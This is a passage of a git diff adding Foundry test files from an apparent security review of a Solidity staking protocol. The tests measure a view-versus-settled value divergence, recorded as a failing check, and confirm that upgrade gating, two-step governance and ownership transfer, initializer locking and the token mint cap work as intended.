v3; + emit log_named_uint("view after 1 more day", v3); + emit log_named_uint("materialised after 1 more day", m3); + emit log_named_uint("delta bps at 1-day cadence", m3 > 0 ? d3 * 10000 / m3 : 0); + } +} diff --git a/test/S10ViewDivergencePoC.t.sol b/test/S10ViewDivergencePoC.t.sol new file mode 100644 index 0000000..d846ffc --- /dev/null +++ b/test/S10ViewDivergencePoC.t.sol @@ -0,0 +1,157 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-10: view vs materialised sMax path divergence. +/// +/// _forceSnapshot (line 629) : participationRay = T * RAY / sMax <- RAW sMax +/// _projectTotals (line 801-806): projSMax = _projectSMaxDecay(currentEpoch) +/// participationRay = T * RAY / projSMax <- DECAYED sMax +/// +/// Spec V.8 (coverage requirement 8): "View projections match materialized +/// snapshot values (within rounding tolerance)." +/// +/// If sMax has decayed since the last update, the view uses a SMALLER denominator +/// than settlement will, so the view over-reports growth. Test measures the gap. +contract S10ViewDivergencePoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant TARGET = 1; + uint256 constant DECOY = 2; + + function _fresh() internal { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e33); + vsp.approve(address(eng), type(uint256).max); + } + + function _stake(address who, uint256 post, uint8 side, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + vm.prank(who); + eng.stake(post, side, amt); + } + + /// Baseline: no decay in play, so view and materialised must agree. + function test_S10_ViewMatchesMaterialised_NoDecay() public { + _fresh(); + _stake(address(0xA1), TARGET, 0, 100e18); + _stake(address(0xBEEF), TARGET, 1, 10e18); + + vm.warp(block.timestamp + 40 days); + + (uint256 vS, uint256 vC) = eng.getPostTotals(TARGET); // projected + eng.updatePost(TARGET); + (uint256 mS, uint256 mC) = eng.getPostTotals(TARGET); // materialised + + emit log_named_uint("view support", vS); + emit log_named_uint("materialised support", mS); + emit log_named_uint("view challenge", vC); + emit log_named_uint("materialised challenge", mC); + + uint256 dS = vS > mS ? vS - mS : mS - vS; + uint256 dC = vC > mC ? vC - mC : mC - vC; + emit log_named_uint("support delta", dS); + emit log_named_uint("challenge delta", dC); + // rounding tolerance: 0.5% as their own StakeEngineRescale suite uses + assertLe(dS * 10000 / (mS == 0 ? 1 : mS), 50, "support diverged > 0.5%"); + assertLe(dC * 10000 / (mC == 0 ? 1 : mC), 50, "challenge diverged > 0.5%"); + } + + /// Decay engaged: drive topPosts empty so _applySMaxDecay is the fallback, + /// then compare view vs materialised on a still-live post. + function test_S10_ViewVsMaterialised_WithDecay() public { + _fresh(); + // decoy posts occupy all 3 tracked slots, then unwind so topPosts empties + _stake(address(0xD1), DECOY, 0, 300e18); + _stake(address(0xD2), 3, 0, 200e18); + _stake(address(0xD3), 4, 0, 150e18); + // the post we measure + _stake(address(0xA1), TARGET, 0, 100e18); + _stake(address(0xBEEF), TARGET, 1, 10e18); + + vm.prank(address(0xD1)); + eng.withdraw(DECOY, 0, 300e18, true); + vm.prank(address(0xD2)); + eng.withdraw(3, 0, 200e18, true); + vm.prank(address(0xD3)); + eng.withdraw(4, 0, 150e18, true); + + emit log_named_uint("sMax after decoys unwind", eng.sMax()); + emit log_named_uint("sMaxLastUpdatedEpoch", eng.sMaxLastUpdatedEpoch()); + + // warp well past sMaxDecayMaxEpochs so the projection decays hard + vm.warp(block.timestamp + 60 days); + + (uint256 vS, uint256 vC) = eng.getPostTotals(TARGET); + eng.updatePost(TARGET); + (uint256 mS, uint256 mC) = eng.getPostTotals(TARGET); + + emit log_named_uint("VIEW support (projected)", vS); + emit log_named_uint("MATERIALISED support", mS); + emit log_named_uint("VIEW challenge", vC); + emit log_named_uint("MATERIALISED challenge", mC); + emit log_named_uint("sMax after settle", eng.sMax()); + + uint256 dS = vS > mS ? vS - mS : mS - vS; + emit log_named_uint("support absolute delta", dS); + if (mS > 0) { + emit log_named_uint("support delta (bps of materialised)", dS * 10000 / mS); + } + + // Report only. V.8 asks for equality within rounding tolerance. + // RECORDED: this assertion FAILS at 120 bps. Kept as the failing PoC for S-10. + assertLe(dS * 10000 / (mS == 0 ? 1 : mS), 50, "V.8: view diverged from materialised > 0.5%"); + } + + /// Sweep: how large can the view/materialised gap get, and is it bounded? + function test_S10_DivergenceSweep() public { + uint256[6] memory ds = [uint256(5), 15, 30, 60, 120, 300]; + for (uint256 i = 0; i < ds.length; i++) { + _fresh(); + _stake(address(0xD1), DECOY, 0, 300e18); + _stake(address(0xD2), 3, 0, 200e18); + _stake(address(0xD3), 4, 0, 150e18); + _stake(address(0xA1), TARGET, 0, 100e18); + _stake(address(0xBEEF), TARGET, 1, 10e18); + vm.prank(address(0xD1)); + eng.withdraw(DECOY, 0, 300e18, true); + vm.prank(address(0xD2)); + eng.withdraw(3, 0, 200e18, true); + vm.prank(address(0xD3)); + eng.withdraw(4, 0, 150e18, true); + + vm.warp(block.timestamp + ds[i] * 1 days); + (uint256 vS,) = eng.getPostTotals(TARGET); + eng.updatePost(TARGET); + (uint256 mS,) = eng.getPostTotals(TARGET); + uint256 d = vS > mS ? vS - mS : mS - vS; + emit log_named_uint("--- warp days", ds[i]); + emit log_named_uint(" view", vS); + emit log_named_uint(" materialised", mS); + emit log_named_uint(" delta bps", mS > 0 ? d * 10000 / mS : 0); + emit log_named_uint(" view HIGHER? 1=yes", vS > mS ? 1 : 0); + } + } +} + diff --git a/test/ScopeGovernedUpgradeablePoC.t.sol b/test/ScopeGovernedUpgradeablePoC.t.sol new file mode 100644 index 0000000..f9720d1 --- /dev/null +++ b/test/ScopeGovernedUpgradeablePoC.t.sol @@ -0,0 +1,203 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// SCOPE COVERAGE — governance/GovernedUpgradeable.sol (row W) +/// +/// The last scoped file that was marked reviewed on a read-only basis. Tested +/// through StakeEngine, which inherits it, because the base is abstract. +/// +/// Targets, quoted from the source: +/// :49 _authorizeUpgrade gated onlyGovernance <- the whole UUPS story +/// :56-59 proposeGovernance: no zero-check, comment says 0 = cancel +/// :63-73 acceptGovernance: two-step +/// :67-69 a ZeroAddress check that may be UNREACHABLE +/// :30-32 _disableInitializers on the implementation +/// :34-40 __GovernedUpgradeable_init rejects zero governance +contract ScopeGovernedUpgradeablePoC is Test { + StakeEngine eng; + StakeEngine impl; + MockVSP vsp; + MockProtocolPolicy policy; + + address governance = address(this); + address alice = address(0xA11CE); + address bob = address(0xB0B); + + function setUp() public { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + impl = new StakeEngine(address(0)); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(impl), abi.encodeCall(StakeEngine.initialize, (governance, address(vsp), address(policy))) + ) + ) + ); + } + + // ── the UUPS gate: this is the one that matters ────────────────── + + /// A non-governance caller must NOT be able to upgrade the proxy. + function test_GU_NonGovernanceCannotUpgrade() public { + StakeEngine newImpl = new StakeEngine(address(0)); + + vm.prank(alice); + vm.expectRevert(); // NotGovernance + eng.upgradeToAndCall(address(newImpl), ""); + + vm.prank(bob); + vm.expectRevert(); + eng.upgradeToAndCall(address(newImpl), ""); + emit log("upgrade correctly gated: two unprivileged callers rejected"); + } + + /// Governance CAN upgrade, and state survives. + function test_GU_GovernanceCanUpgrade_StatePreserved() public { + // put some state in first + vsp.mint(alice, 100e18); + vm.prank(alice); + vsp.approve(address(eng), type(uint256).max); + vm.prank(alice); + eng.stake(1, 0, 100e18); + assertEq(eng.getUserStake(alice, 1, 0), 100e18, "pre-upgrade stake missing"); + + StakeEngine newImpl = new StakeEngine(address(0)); + eng.upgradeToAndCall(address(newImpl), ""); + + assertEq(eng.getUserStake(alice, 1, 0), 100e18, "state lost across upgrade"); + assertEq(eng.governance(), governance, "governance lost across upgrade"); + emit log("governance upgrade succeeded, state and governance preserved"); + } + + /// After a governance handover, the OLD governance must lose upgrade rights. + function test_GU_UpgradeRightsFollowGovernance() public { + eng.proposeGovernance(alice); + vm.prank(alice); + eng.acceptGovernance(); + assertEq(eng.governance(), alice, "handover failed"); + + StakeEngine newImpl = new StakeEngine(address(0)); + + // old governance is now powerless + vm.expectRevert(); + eng.upgradeToAndCall(address(newImpl), ""); + + // new governance can + vm.prank(alice); + eng.upgradeToAndCall(address(newImpl), ""); + emit log("upgrade rights transferred with governance"); + } + + // ── two-step governance transfer ───────────────────────────────── + + function test_GU_TwoStepRequiresAccept() public { + eng.proposeGovernance(alice); + assertEq(eng.governance(), governance, "governance changed on propose alone"); + assertEq(eng.pendingGovernance(), alice, "pending not set"); + + // a third party cannot accept + vm.prank(bob); + vm.expectRevert(); // NotPendingGovernance + eng.acceptGovernance(); + assertEq(eng.governance(), governance, "governance hijacked by non-pending caller"); + + vm.prank(alice); + eng.acceptGovernance(); + assertEq(eng.governance(), alice, "accept did not transfer"); + assertEq(eng.pendingGovernance(), address(0), "pending not cleared"); + } + + /// Only current governance may propose. + function test_GU_OnlyGovernanceCanPropose() public { + vm.prank(alice); + vm.expectRevert(); // NotGovernance + eng.proposeGovernance(alice); + } + + /// The source comment at :55 claims setting pending to address(0) CANCELS a + /// proposal. Verify that is actually true. + function test_GU_ProposeZeroCancelsProposal() public { + eng.proposeGovernance(alice); + assertEq(eng.pendingGovernance(), alice, "pending not set"); + + eng.proposeGovernance(address(0)); // documented as "cancel" + assertEq(eng.pendingGovernance(), address(0), "cancel did not clear pending"); + + // the previously-proposed address must no longer be able to accept + vm.prank(alice); + vm.expectRevert(); + eng.acceptGovernance(); + emit log("proposeGovernance(0) cancels as documented"); + } + + /// Is the ZeroAddress check at :67-69 reachable? Reaching it needs + /// _msgSender() == pendingGovernance == address(0), i.e. a call from + /// address(0), which no normal transaction can do. + function test_GU_ZeroAddressCheckIsUnreachable() public { + assertEq(eng.pendingGovernance(), address(0), "precondition: pending is zero"); + + // any real caller trips NotPendingGovernance first, never ZeroAddress + vm.prank(alice); + vm.expectRevert(abi.encodeWithSignature("NotPendingGovernance()")); + eng.acceptGovernance(); + + // even governance itself + vm.expectRevert(abi.encodeWithSignature("NotPendingGovernance()")); + eng.acceptGovernance(); + + emit log("ZeroAddress branch at GovernedUpgradeable:67-69 is dead code:"); + emit log(" NotPendingGovernance always fires first for any real sender"); + } + + // ── initializer hygiene ────────────────────────────────────────── + + /// The IMPLEMENTATION must not be initializable directly (constructor calls + /// _disableInitializers). Otherwise an attacker could seize the impl. + function test_GU_ImplementationCannotBeInitialized() public { + vm.expectRevert(); // InvalidInitialization + impl.initialize(alice, address(vsp), address(policy)); + emit log("implementation is locked: _disableInitializers holds"); + } + + /// The proxy must not be re-initializable. + function test_GU_ProxyCannotBeReinitialized() public { + vm.expectRevert(); // InvalidInitialization + eng.initialize(alice, address(vsp), address(policy)); + } + + /// Zero governance must be rejected at init time. + function test_GU_ZeroGovernanceRejectedAtInit() public { + StakeEngine i2 = new StakeEngine(address(0)); + vm.expectRevert(); // ZeroAddress + new ERC1967Proxy( + address(i2), abi.encodeCall(StakeEngine.initialize, (address(0), address(vsp), address(policy))) + ); + emit log("zero governance rejected at initialize"); + } + + /// Governance cannot be locked out by proposing an address that never accepts: + /// current governance keeps full power throughout. + function test_GU_DanglingProposalDoesNotLockOut() public { + eng.proposeGovernance(alice); // alice never accepts + + // governance must still be able to act + // NOTE: at HEAD 58971c0, MAX_SNAPSHOT_PERIOD == EPOCH_LENGTH == 1 day, so + // setSnapshotPeriod(2 days) now reverts PeriodOutOfBounds. Use the boundary value + // that is still valid, so the test proves governance retains power without + // depending on the old 365-day cap. + eng.setSnapshotPeriod(1 days); + assertEq(eng.snapshotPeriod(), 1 days, "governance lost power while a proposal was pending"); + + StakeEngine newImpl = new StakeEngine(address(0)); + eng.upgradeToAndCall(address(newImpl), ""); + emit log("dangling proposal does not disable current governance"); + } +} diff --git a/test/ScopeVSPTokenAuthorityPoC.t.sol b/test/ScopeVSPTokenAuthorityPoC.t.sol new file mode 100644 index 0000000..4ebe1a1 --- /dev/null +++ b/test/ScopeVSPTokenAuthorityPoC.t.sol @@ -0,0 +1,205 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/VSPToken.sol"; +import "../src/authority/Authority.sol"; + +/// SCOPE COVERAGE — VSPToken.sol + authority/Authority.sol +/// +/// These two files were marked reviewed on a read-only basis. Everything asserted +/// about them in the report is verified here with a running test instead. +/// +/// Targets, quoted from the source: +/// VSPToken:146-160 mint(): time cap enforced, STAKE_ENGINE_ADDRESS exempt +/// VSPToken:132-144 maxAllowedSupply(): PRB pow, behaviour at extreme elapsed +/// VSPToken:169-172 burnFrom(): must spend allowance +/// Authority:60-68 acceptOwner(): two-step, no zero-check on this path +/// Authority:74-82 setMinter/setBurner: onlyOwner +contract ScopeVSPTokenAuthorityPoC is Test { + VSPToken tok; + Authority auth; + + address governance = address(this); + address engine = address(0xE9E9E9); + address alice = address(0xA11CE); + address bob = address(0xB0B); + + uint256 constant INCEPTION_SUPPLY = 1_000_000e18; + uint256 constant GROWTH_2X = 2e18; // doubles per year + + function setUp() public { + vm.warp(86400 * 1000); + auth = new Authority(governance); + VSPToken impl = new VSPToken(address(0), block.timestamp, INCEPTION_SUPPLY, GROWTH_2X, engine); + tok = VSPToken(address(new ERC1967Proxy(address(impl), abi.encodeCall(VSPToken.initialize, (address(auth)))))); + auth.setMinter(engine, true); + auth.setBurner(engine, true); + } + + // ── VSPToken: the time-based mint cap ──────────────────────────── + + /// A capped (non-engine) minter must NOT be able to exceed maxAllowedSupply. + function test_VSP_CappedMinterCannotExceedCap() public { + uint256 cap = tok.maxAllowedSupply(); + emit log_named_uint("maxAllowedSupply at inception", cap); + assertEq(cap, INCEPTION_SUPPLY, "at inception the cap is the inception supply"); + + // governance is a minter (bootstrapped in the Authority constructor) + tok.mint(alice, cap); // exactly at the cap must succeed + assertEq(tok.totalSupply(), cap, "mint to exactly the cap failed"); + + // one wei more must revert + vm.expectRevert(); + tok.mint(alice, 1); + emit log("capped minter correctly blocked at the ceiling"); + } + + /// STAKE_ENGINE_ADDRESS must be exempt — and ONLY that address. + function test_VSP_EngineExemptButOnlyEngine() public { + uint256 cap = tok.maxAllowedSupply(); + tok.mint(alice, cap); // fill to the ceiling + + // engine mints far beyond the cap: allowed by design + vm.prank(engine); + tok.mint(bob, cap * 10); + assertEq(tok.totalSupply(), cap * 11, "engine exemption not working"); + emit log_named_uint("supply after engine over-mint", tok.totalSupply()); + + // a different minter, even with the role, must still be capped + auth.setMinter(alice, true); + vm.prank(alice); + vm.expectRevert(); + tok.mint(alice, 1); + emit log("non-engine minter still capped after engine exceeded it"); + } + + /// Non-minters must be rejected outright. + function test_VSP_NonMinterRejected() public { + vm.prank(bob); + vm.expectRevert(); // NotMinter + tok.mint(bob, 1); + + vm.prank(bob); + vm.expectRevert(); // NotBurner + tok.burn(1); + } + + /// maxAllowedSupply uses PRB pow. Check it grows as documented and does not + /// revert or overflow at long horizons. + function test_VSP_MaxAllowedSupplyGrowthCurve() public { + // Use ABSOLUTE timestamps off the recorded inception, not chained relative + // warps: chaining made an earlier version of this test read 2x at both the + // 1-year and 2-year points and produce a false failure. + uint256 inception = tok.INCEPTION_TIMESTAMP(); + uint256 atStart = tok.maxAllowedSupply(); + vm.warp(inception + 365 days); + uint256 at1y = tok.maxAllowedSupply(); + vm.warp(inception + 730 days); + uint256 at2y = tok.maxAllowedSupply(); + + emit log_named_uint("cap at inception", atStart); + emit log_named_uint("cap after 1 year", at1y); + emit log_named_uint("cap after 2 years", at2y); + + // base 2e18 => doubling per year, within rounding + assertApproxEqRel(at1y, atStart * 2, 1e15, "1-year cap is not ~2x"); + assertApproxEqRel(at2y, atStart * 4, 1e15, "2-year cap is not ~4x"); + } + + /// Extreme elapsed: must not revert. This is the overflow question the + /// journal flagged on `pow`. + function test_VSP_MaxAllowedSupplyExtremeElapsed() public { + vm.warp(block.timestamp + 100 * 365 days); + uint256 cap100y = tok.maxAllowedSupply(); + emit log_named_uint("cap after 100 years", cap100y); + assertGt(cap100y, INCEPTION_SUPPLY, "cap did not grow over 100 years"); + } + + /// burnFrom must require an allowance — no burning other people's tokens. + function test_VSP_BurnFromRequiresAllowance() public { + tok.mint(alice, 1000e18); + + // governance is a burner but has no allowance from alice + vm.expectRevert(); + tok.burnFrom(alice, 100e18); + + vm.prank(alice); + tok.approve(governance, 100e18); + tok.burnFrom(alice, 100e18); + assertEq(tok.balanceOf(alice), 900e18, "burnFrom did not burn the approved amount"); + emit log("burnFrom correctly gated on allowance"); + } + + // ── Authority: two-step ownership + role gating ────────────────── + + /// Ownership must not transfer until the proposed owner accepts. + function test_AUTH_TwoStepOwnershipRequiresAccept() public { + auth.proposeOwner(alice); + assertEq(auth.owner(), governance, "owner changed on propose alone"); + assertEq(auth.pendingOwner(), alice, "pendingOwner not set"); + + // a third party cannot accept + vm.prank(bob); + vm.expectRevert(); // NotPendingOwner + auth.acceptOwner(); + assertEq(auth.owner(), governance, "owner changed by a non-pending caller"); + + vm.prank(alice); + auth.acceptOwner(); + assertEq(auth.owner(), alice, "accept did not transfer ownership"); + assertEq(auth.pendingOwner(), address(0), "pendingOwner not cleared"); + } + + /// A pending proposal must be overridable, and the stale proposal must die. + function test_AUTH_ProposalCanBeReplaced() public { + auth.proposeOwner(alice); + auth.proposeOwner(bob); // replace + assertEq(auth.pendingOwner(), bob, "proposal not replaced"); + + vm.prank(alice); + vm.expectRevert(); // alice is stale now + auth.acceptOwner(); + emit log("stale proposal correctly rejected"); + } + + /// proposeOwner must reject the zero address (the guard the journal noted). + function test_AUTH_ProposeZeroRejected() public { + vm.expectRevert(); // ZeroAddress + auth.proposeOwner(address(0)); + } + + /// Role changes must be owner-only, and must follow ownership after transfer. + function test_AUTH_RoleGatingFollowsOwnership() public { + vm.prank(bob); + vm.expectRevert(); // NotOwner + auth.setMinter(bob, true); + + // hand ownership to alice + auth.proposeOwner(alice); + vm.prank(alice); + auth.acceptOwner(); + + // old owner loses the power + vm.expectRevert(); // NotOwner + auth.setMinter(bob, true); + + // new owner has it + vm.prank(alice); + auth.setMinter(bob, true); + assertTrue(auth.isMinter(bob), "new owner cannot grant minter"); + emit log("role gating tracks ownership correctly"); + } + + /// The constructor bootstrap must grant BOTH roles to the initial owner. + function test_AUTH_ConstructorBootstrap() public { + Authority fresh = new Authority(alice); + assertEq(fresh.owner(), alice, "owner not set"); + assertTrue(fresh.isMinter(alice), "bootstrap minter missing"); + assertTrue(fresh.isBurner(alice), "bootstrap burner missing"); + + vm.expectRevert(); // ZeroAddress + new Authority(address(0)); + } +} diff --git a/test/VSPCapDiagnostic.t.sol b/test/VSPCapDiagnostic.t.sol new file mode 100644 index 0000000..1c8ff5b --- /dev/null +++ b/test/VSPCapDiagnostic.t.sol @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/VSPToken.sol"; +import "../src/authority/Authority.sol"; + +/// DIAGNOSTIC: why did maxAllowedSupply() read 2x at both 1 year and 2 years? +/// Either my test was wrong, or the growth curve genuinely stalls. Find out +/// before claiming anything. +contract VSPCapDiagnostic is Test { + VSPToken tok; + Authority auth; + uint256 constant INCEPTION_SUPPLY = 1_000_000e18; + uint256 constant GROWTH_2X = 2e18; + uint256 t0; + + function setUp() public { + vm.warp(86400 * 1000); + t0 = block.timestamp; + auth = new Authority(address(this)); + VSPToken impl = new VSPToken(address(0), t0, INCEPTION_SUPPLY, GROWTH_2X, address(0xE9)); + tok = VSPToken(address(new ERC1967Proxy(address(impl), abi.encodeCall(VSPToken.initialize, (address(auth)))))); + } + + function test_sweepCapOverTime() public { + uint256[9] memory days_ = [uint256(0), 91, 182, 365, 400, 500, 730, 1095, 1460]; + for (uint256 i = 0; i < days_.length; i++) { + vm.warp(t0 + days_[i] * 1 days); + emit log_named_uint("--- days elapsed", days_[i]); + emit log_named_uint(" block.timestamp", block.timestamp); + emit log_named_uint(" maxAllowedSupply", tok.maxAllowedSupply()); + } + } + + /// Read the immutables the contract actually got, and recompute by hand. + function test_inspectImmutables() public { + emit log_named_uint("INCEPTION_TIMESTAMP", tok.INCEPTION_TIMESTAMP()); + emit log_named_uint("INCEPTION_SUPPLY", tok.INCEPTION_SUPPLY()); + emit log_named_uint("GROWTH_BASE_PER_YEAR", tok.GROWTH_BASE_PER_YEAR()); + emit log_named_uint("t0 in test", t0); + } +}